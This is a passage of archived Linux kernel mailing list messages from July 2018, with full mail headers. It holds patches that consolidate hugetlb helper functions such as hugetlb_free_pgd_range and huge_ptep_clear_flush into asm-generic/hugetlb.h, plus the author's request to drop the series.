 	return 0;
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 16b0c53ea6c9..944e3a4bfaff 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -16,6 +16,7 @@ extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep);
 
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 554d5614b375..48b8d9b13cc6 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index ee010b756246..0f6f151780dd 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -57,4 +57,12 @@ static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
+static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
+		unsigned long addr, pte_t *ptep)
+{
+	return ptep_get_and_clear(mm, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 02/11] hugetlb: Introduce generic version of
 hugetlb_free_pgd_range
Date: Wed,  4 Jul 2018 05:51:58 +0000
Lines: 305
Approved: news@gmane.org
Message-ID: <20180704055207.27978-3-alex@ghiti.fr>
References: <20180704055207.27978-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530683519 14766 195.159.176.226 (4 Jul 2018 05:51:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 05:51:59 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com, will.deacon@arm.com,
 tony.luck@intel.com, fenghua.yu@intel.com, ralf@linux-mips.org,
 paul.burton@mips.com, jhogan@kernel.org, jejb@parisc-linux.org,
 deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
 mpe@ellerman.id.au, ysato@users.sourceforge.jp, dalias@libc.org,
 davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
 x86@kernel.org, arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Jul 04 07:51:52 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1faahk-0003g8-Ir
	for linux-arm-kernel@m.gmane.org; Wed, 04 Jul 2018 07:51:52 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=oD4GiQBSLLiFl+kGVb+aE7yPeG2jI08HcXcll4SKihI=; b=eOhZllDR/dkJ+aJvt/nb0zJrlI
	Ay6D4AuOKhLwGiGhR2uNuOTPwfTY7D4WmiKvoz8XkDCJlcjfitax+bvZNx8vl+eS684weDUe6UtNi
	62ByDk+nZ473EYlsJFB7FAX0oiwiFThqeq6bb9eODhw57xXMUql8eq+4DPFjt+PEwVVlv4NWHUhO2
	4Tegi9VCfMb1MOdKJmw0wtKcrlMEEdqcRvBkcKULJQQg5EIQHsHc2vNReiM3BhccPPD4/+GxSey+6
	Q3jBIjPT8xvnReztw8e1eiSVhQ6uO+ne1dSxVcS3qpcGcen8pF+lUomC5954YbCJ4uYB1w95VXphf
	3CckgeLQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1faajl-0002GB-6c; Wed, 04 Jul 2018 05:53:57 +0000
Original-Received: from relay5-d.mail.gandi.net ([217.70.183.197])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1faaih-0001QU-C6
 for linux-arm-kernel@lists.infradead.org; Wed, 04 Jul 2018 05:52:55 +0000
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
 (Authenticated sender: alex@ghiti.fr)
 by relay5-d.mail.gandi.net (Postfix) with ESMTPSA id EDBD41C000B;
 Wed,  4 Jul 2018 05:52:36 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180704055207.27978-1-alex@ghiti.fr>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180703_225251_786569_F0F8362A 
X-CRM114-Status: GOOD (  10.50  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [217.70.183.197 listed in list.dnswl.org]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:660644 gmane.linux.kernel:2811026 gmane.linux.ports.ia64:28876 gmane.linux.ports.mips.general:65229 gmane.linux.ports.parisc:28726 gmane.linux.ports.ppc64.devel:159602 gmane.linux.ports.sh.devel:57138 gmane.linux.ports.sparc:28053 gmane.linux.kernel.cross-arch:44971
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/660644>

arm, arm64, mips, parisc, sh, x86 architectures use the
same version of hugetlb_free_pgd_range, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb.h     | 12 ++----------
 arch/arm64/include/asm/hugetlb.h   | 10 ----------
 arch/ia64/include/asm/hugetlb.h    |  5 +++--
 arch/mips/include/asm/hugetlb.h    | 13 ++-----------
 arch/parisc/include/asm/hugetlb.h  | 12 ++----------
 arch/powerpc/include/asm/hugetlb.h |  4 +++-
 arch/sh/include/asm/hugetlb.h      | 12 ++----------
 arch/sparc/include/asm/hugetlb.h   |  4 +++-
 arch/x86/include/asm/hugetlb.h     | 11 ++---------
 include/asm-generic/hugetlb.h      | 11 +++++++++++
 10 files changed, 30 insertions(+), 64 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 7d26f6c4f0f5..047b893ef95d 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -23,19 +23,9 @@
 #define _ASM_ARM_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #include <asm/hugetlb-3level.h>
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
-
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr, unsigned long len)
 {
@@ -68,4 +58,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 	clear_bit(PG_dcache_clean, &page->flags);
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_ARM_HUGETLB_H */
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 3fcf14663dfa..4af1a800a900 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -25,16 +25,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return READ_ONCE(*ptep);
 }
 
-
-
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr, unsigned long len)
 {
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 74d2a5540aaf..afe9fa4d969b 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -3,9 +3,8 @@
 #define _ASM_IA64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
@@ -70,4 +69,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_IA64_HUGETLB_H */
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 982bc0685330..53764050243e 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -10,8 +10,6 @@
 #define __ASM_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr,
@@ -38,15 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr,
-					  unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -114,4 +103,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* __ASM_HUGETLB_H */
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 58e0f4620426..28c23b68d38d 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -3,8 +3,6 @@
 #define _ASM_PARISC64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
@@ -32,14 +30,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
@@ -71,4 +61,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_PARISC64_HUGETLB_H */
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 3225eb6402cc..de46ee16b615 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -4,7 +4,6 @@
 
 #ifdef CONFIG_HUGETLB_PAGE
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 extern struct kmem_cache *hugepte_cache;
 
@@ -113,6 +112,7 @@ static inline void flush_hugetlb_page(struct vm_area_struct *vma,
 void flush_hugetlb_page(struct vm_area_struct *vma, unsigned long vmaddr);
 #endif
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
@@ -193,4 +193,6 @@ static inline pte_t *hugepte_offset(hugepd_t hpd, unsigned long addr,
 }
 #endif /* CONFIG_HUGETLB_PAGE */
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_POWERPC_HUGETLB_H */
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 735939c0f513..f6a51b609409 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -4,8 +4,6 @@
 
 #include <asm/cacheflush.h>
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr,
@@ -27,14 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -85,4 +75,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 	clear_bit(PG_dcache_clean, &page->flags);
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_SH_HUGETLB_H */
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 300557c66698..59d89b52ccb7 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -3,7 +3,6 @@
 #define _ASM_SPARC64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #ifdef CONFIG_HUGETLB_PAGE
 struct pud_huge_patch_entry {
@@ -84,8 +83,11 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_SPARC64_HUGETLB_H */
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 5ed826da5e07..996ce8e15365 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -3,7 +3,6 @@
 #define _ASM_X86_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #define hugepages_supported() boot_cpu_has(X86_FEATURE_PSE)
 
@@ -28,14 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -90,4 +81,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 static inline bool gigantic_page_supported(void) { return true; }
 #endif
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_X86_HUGETLB_H */
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 3da7cff52360..c697ca9dda18 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -40,4 +40,15 @@ static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
+static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
+		unsigned long addr, unsigned long end,
+		unsigned long floor, unsigned long ceiling)
+{
+	free_pgd_range(tlb, addr, end, floor, ceiling);
+}
+
+
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2

From - Thu Nov 08 21:41:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 05/11] hugetlb: Introduce generic version of
 huge_ptep_clear_flush
Date: Wed, 4 Jul 2018 08:51:43 +0200
Lines: 161
Approved: news@gmane.org
Message-ID: <6f468be6-6d6b-407a-eb3d-8d1fa7d3673e@ghiti.fr>
References: <20180704055207.27978-1-alex@ghiti.fr>
 <20180704055207.27978-6-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530687025 7064 195.159.176.226 (4 Jul 2018 06:50:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 06:50:25 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jul 04 08:50:19 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fabcI-0001f6-0H
	for glk-linux-kernel-4@m.gmane.org; Wed, 04 Jul 2018 08:50:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933821AbeGDGw0 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 4 Jul 2018 02:52:26 -0400
Original-Received: from relay2-d.mail.gandi.net ([217.70.183.194]:36443 "EHLO
        relay2-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933206AbeGDGwY (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 4 Jul 2018 02:52:24 -0400
X-Originating-IP: 81.250.144.103
Original-Received: from [10.30.1.20] (LNeuilly-657-1-5-103.w81-250.abo.wanadoo.fr [81.250.144.103])
        (Authenticated sender: alex@ghiti.fr)
        by relay2-d.mail.gandi.net (Postfix) with ESMTPSA id B750040005;
        Wed,  4 Jul 2018 06:52:08 +0000 (UTC)
In-Reply-To: <20180704055207.27978-6-alex@ghiti.fr>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2811073 gmane.linux.ports.arm.kernel:660656 gmane.linux.ports.ia64:28877 gmane.linux.ports.mips.general:65231 gmane.linux.ports.parisc:28727 gmane.linux.ports.ppc64.devel:159611 gmane.linux.ports.sh.devel:57139 gmane.linux.ports.sparc:28054 gmane.linux.kernel.cross-arch:44973
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2811073>

Just discovered my email provider limit of mails per minute, please drop 
this serie, I'll send a v2 using --batch-size option of git send-email. 
Sorry about that.


On 07/04/2018 07:52 AM, Alexandre Ghiti wrote:
> arm, x86 architectures use the same version of
> huge_ptep_clear_flush, so move this generic implementation into
> asm-generic/hugetlb.h.
>
> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
> ---
>   arch/arm/include/asm/hugetlb-3level.h | 6 ------
>   arch/arm64/include/asm/hugetlb.h      | 1 +
>   arch/ia64/include/asm/hugetlb.h       | 1 +
>   arch/mips/include/asm/hugetlb.h       | 1 +
>   arch/parisc/include/asm/hugetlb.h     | 1 +
>   arch/powerpc/include/asm/hugetlb.h    | 1 +
>   arch/sh/include/asm/hugetlb.h         | 1 +
>   arch/sparc/include/asm/hugetlb.h      | 1 +
>   arch/x86/include/asm/hugetlb.h        | 6 ------
>   include/asm-generic/hugetlb.h         | 8 ++++++++
>   10 files changed, 15 insertions(+), 12 deletions(-)
>
> diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
> index ad36e84b819a..b897541520ef 100644
> --- a/arch/arm/include/asm/hugetlb-3level.h
> +++ b/arch/arm/include/asm/hugetlb-3level.h
> @@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
>   	return retval;
>   }
>   
> -static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
> -					 unsigned long addr, pte_t *ptep)
> -{
> -	ptep_clear_flush(vma, addr, ptep);
> -}
> -
>   static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>   					   unsigned long addr, pte_t *ptep)
>   {
> diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
> index 6ae0bcafe162..4c8dd488554d 100644
> --- a/arch/arm64/include/asm/hugetlb.h
> +++ b/arch/arm64/include/asm/hugetlb.h
> @@ -71,6 +71,7 @@ extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>   				     unsigned long addr, pte_t *ptep);
>   extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
>   				    unsigned long addr, pte_t *ptep);
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>   extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   				  unsigned long addr, pte_t *ptep);
>   #define __HAVE_ARCH_HUGE_PTE_CLEAR
> diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
> index 6719c74da0de..41b5f6adeee4 100644
> --- a/arch/ia64/include/asm/hugetlb.h
> +++ b/arch/ia64/include/asm/hugetlb.h
> @@ -20,6 +20,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>   		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
>   }
>   
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>   static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   					 unsigned long addr, pte_t *ptep)
>   {
> diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
> index 0959cc5a41fa..7df1f116a3cc 100644
> --- a/arch/mips/include/asm/hugetlb.h
> +++ b/arch/mips/include/asm/hugetlb.h
> @@ -48,6 +48,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>   	return pte;
>   }
>   
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>   static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   					 unsigned long addr, pte_t *ptep)
>   {
> diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
> index 6e281e1bb336..9afff26747a1 100644
> --- a/arch/parisc/include/asm/hugetlb.h
> +++ b/arch/parisc/include/asm/hugetlb.h
> @@ -32,6 +32,7 @@ static inline int prepare_hugepage_range(struct file *file,
>   	return 0;
>   }
>   
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>   static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   					 unsigned long addr, pte_t *ptep)
>   {
> diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
> index ec3e0c2e78f8..de0769f0b5b2 100644
> --- a/arch/powerpc/include/asm/hugetlb.h
> +++ b/arch/powerpc/include/asm/hugetlb.h
> @@ -143,6 +143,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>   #endif
>   }
>   
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>   static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   					 unsigned long addr, pte_t *ptep)
>   {
> diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
> index 08ee6c00b5e9..9abf9c86b769 100644
> --- a/arch/sh/include/asm/hugetlb.h
> +++ b/arch/sh/include/asm/hugetlb.h
> @@ -25,6 +25,7 @@ static inline int prepare_hugepage_range(struct file *file,
>   	return 0;
>   }
>   
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>   static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   					 unsigned long addr, pte_t *ptep)
>   {
> diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
> index 944e3a4bfaff..651a9593fcee 100644
> --- a/arch/sparc/include/asm/hugetlb.h
> +++ b/arch/sparc/include/asm/hugetlb.h
> @@ -42,6 +42,7 @@ static inline int prepare_hugepage_range(struct file *file,
>   	return 0;
>   }
>   
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>   static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   					 unsigned long addr, pte_t *ptep)
>   {
> diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
> index 48b8d9b13cc6..8347d5abf882 100644
> --- a/arch/x86/include/asm/hugetlb.h
> +++ b/arch/x86/include/asm/hugetlb.h
> @@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
>   	return 0;
>   }
>   
> -static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
> -					 unsigned long addr, pte_t *ptep)
> -{
> -	ptep_clear_flush(vma, addr, ptep);
> -}
> -
>   static inline int huge_pte_none(pte_t pte)
>   {
>   	return pte_none(pte);
